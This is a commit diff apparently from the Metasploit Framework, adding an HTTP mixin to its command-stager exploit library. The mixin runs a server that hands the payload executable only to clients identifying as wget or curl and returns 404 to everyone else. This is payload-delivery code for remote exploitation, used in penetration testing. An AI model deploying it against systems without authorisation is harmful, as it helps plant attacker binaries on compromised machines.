Add Http mixin for CmdStager

Author: wvu

lib/msf/core/exploit/cmdstager/http.rb

@@ -0,0 +1,49 @@
+# -*- coding: binary -*-
+
+require 'msf/core/exploit/tcp_server'
+require 'msf/core/exploit/http/server'
+
+module Msf::Exploit::CmdStager
+module Http
+
+  include Msf::Exploit::Remote::HttpServer
+
+  def initialize(info = {})
+    super(update_info(info,
+      'Stance' => Msf::Exploit::Stance::Aggressive
+    ))
+  end
+
+  def start_service(opts = {})
+    if opts[:busybox] && (ssl = datastore['SSL'])
+      datastore['SSL'] = false
+    end
+
+    super
+    payload_uri = get_uri
+
+    if ssl
+      datastore['SSL'] = true
+    end
+
+    payload_uri
+  end
+
+  def resource_uri
+    if (datastore['URIPATH'] || '').end_with?(?/)
+      random_uri
+    else
+      super
+    end
+  end
+
+  def on_request_uri(cli, request)
+    if request['User-Agent'] =~ /^(?:Wget|curl)/
+      send_response(cli, exe)
+    else
+      send_not_found(cli)
+    end
+  end
+
+end
+end